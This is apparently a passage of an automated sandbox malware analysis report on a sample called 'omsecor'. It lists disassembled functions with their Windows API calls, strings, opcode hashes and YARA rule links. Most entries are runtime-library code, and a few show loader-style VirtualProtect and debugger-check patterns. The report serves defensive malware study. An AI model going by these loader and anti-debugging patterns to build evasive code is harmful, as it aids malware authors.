Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Runtime Error!Program: , xrefs: 004024C0
..., xrefs: 0040254D
<program name unknown>, xrefs: 00402508
Microsoft Visual C++ Runtime Library, xrefs: 004025BC

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

FlsSetValue, xrefs: 00401EAD
FlsAlloc, xrefs: 00401E98
FlsGetValue, xrefs: 00401EA0
FlsFree, xrefs: 00401EBA
KERNEL32.DLL, xrefs: 00401E77

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

GetLastActivePopup, xrefs: 004048C2
MessageBoxA, xrefs: 00404897
GetProcessWindowStation, xrefs: 00404916
GetUserObjectInformationA, xrefs: 004048FE
GetActiveWindow, xrefs: 004048AD
USER32.DLL, xrefs: 0040487C

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

DecodePointer, xrefs: 00401C54
EncodePointer, xrefs: 00401C3E
KERNEL32.DLL, xrefs: 00401C13

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

EncodePointer, xrefs: 00401AF8
KERNEL32.DLL, xrefs: 00401ADE

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

DecodePointer, xrefs: 00401B6F
KERNEL32.DLL, xrefs: 00401B55

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
